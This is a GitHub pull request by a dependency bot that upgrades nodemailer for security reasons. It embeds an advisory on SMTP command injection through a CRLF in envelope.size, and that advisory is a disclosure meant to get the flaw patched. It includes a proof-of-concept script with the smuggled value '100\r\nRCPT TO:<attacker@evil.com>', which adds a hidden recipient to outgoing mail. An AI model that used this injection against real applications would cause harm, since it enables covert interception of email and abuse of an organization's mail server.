Skip to content

fix(deps): update dependency nodemailer to v8 [security]#8341

Open
backstage-goalie[bot] wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v8 [security]#8341
backstage-goalie[bot] wants to merge 1 commit intomainfrom
renovate/npm-nodemailer-vulnerability

Conversation

@backstage-goalie
Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^7.0.7^8.0.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

v8.0.2

Compare Source

Bug Fixes
  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

v8.0.1

Compare Source

Bug Fixes
  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#​1787) (dc97ede)

v8.0.0

Compare Source

⚠ BREAKING CHANGES
  • Error code 'NoAuth' renamed to 'ENOAUTH'
Bug Fixes
  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

v7.0.13

Compare Source

Bug Fixes
  • downgrade transient connection error logs to warn level (4c041db)

v7.0.12

Compare Source

Bug Fixes
  • added support for REQUIRETLS (#​1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@backstage-goalie backstage-goalie bot added the dependencies Pull requests that update a dependency file label Mar 27, 2026
@backstage-goalie backstage-goalie bot requested a review from riginoommen as a code owner March 27, 2026 00:31
@backstage-goalie backstage-goalie bot requested a review from Parsifal-M March 27, 2026 00:31
@backstage-goalie
Copy link
Copy Markdown
Contributor Author

backstage-goalie bot commented Mar 27, 2026

Changed Packages

Package Name Package Path Changeset Bump Current Version
@backstage-community/plugin-feedback-backend workspaces/feedback/plugins/feedback-backend patch v2.1.7

@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from f38e648 to 7a41674 Compare March 27, 2026 00:32
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 7a41674 to dd5f07a Compare March 27, 2026 10:32
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from dd5f07a to 3e5f001 Compare March 27, 2026 10:32
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3e5f001 to 699ff5e Compare March 27, 2026 11:31
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 699ff5e to b165b71 Compare March 27, 2026 11:31
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from b165b71 to 331edc5 Compare March 27, 2026 13:44
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 331edc5 to f8254c8 Compare March 27, 2026 13:45
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from f8254c8 to 63438be Compare March 27, 2026 14:42
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 63438be to bf0923c Compare March 27, 2026 14:43
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from bf0923c to 720b1c4 Compare March 27, 2026 15:34
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 720b1c4 to 202d242 Compare March 27, 2026 15:34
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 202d242 to cc280b1 Compare March 27, 2026 16:32
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from cc280b1 to 9f4d755 Compare March 27, 2026 16:33
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9f4d755 to 57337af Compare March 27, 2026 22:21
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 57337af to 544d3cc Compare March 27, 2026 22:21
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 544d3cc to 2f2b11b Compare March 27, 2026 23:24
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 2f2b11b to 48ad5bc Compare March 27, 2026 23:24
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 48ad5bc to b37b639 Compare March 28, 2026 00:30
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from b37b639 to e8173fc Compare March 28, 2026 00:30
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from e8173fc to 89c2bf0 Compare March 28, 2026 20:20
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 89c2bf0 to 6c6b13e Compare March 28, 2026 20:21
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 6c6b13e to f4e738d Compare March 28, 2026 21:23
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from f4e738d to b5ef1a5 Compare March 28, 2026 21:23
@backstage-goalie backstage-goalie bot changed the title fix(deps): update dependency nodemailer to v8 [security] fix(deps): update dependency nodemailer to v8 [security] - autoclosed Mar 29, 2026
@backstage-goalie backstage-goalie bot closed this Mar 29, 2026
@backstage-goalie backstage-goalie bot deleted the renovate/npm-nodemailer-vulnerability branch March 29, 2026 09:18
@backstage-goalie backstage-goalie bot changed the title fix(deps): update dependency nodemailer to v8 [security] - autoclosed fix(deps): update dependency nodemailer to v8 [security] Mar 29, 2026
@backstage-goalie backstage-goalie bot reopened this Mar 29, 2026
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from b5ef1a5 to 005dccd Compare March 29, 2026 10:20
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch 2 times, most recently from c9a61a2 to 68670fd Compare March 29, 2026 10:21
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 68670fd to 4a9064c Compare March 29, 2026 13:39
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 4a9064c to 9364013 Compare March 29, 2026 13:39
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9364013 to ed551e7 Compare March 29, 2026 15:24
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from ed551e7 to 492c8c3 Compare March 29, 2026 15:25
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 492c8c3 to 812d648 Compare March 29, 2026 16:23
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 812d648 to 4e7afe5 Compare March 29, 2026 16:23
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 4e7afe5 to 00f4069 Compare March 29, 2026 19:28
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from 00f4069 to 09df981 Compare March 29, 2026 19:28
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 09df981 to c68f83c Compare March 30, 2026 18:35
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from c68f83c to c2c9b4e Compare March 30, 2026 18:36
@backstage-goalie backstage-goalie bot force-pushed the renovate/npm-nodemailer-vulnerability branch from c2c9b4e to fac08aa Compare March 30, 2026 22:28
Signed-off-by: Renovate Bot <bot@renovateapp.com>
@backstage-service backstage-service force-pushed the renovate/npm-nodemailer-vulnerability branch from fac08aa to 1e38429 Compare March 30, 2026 22:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file security workspace/feedback

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant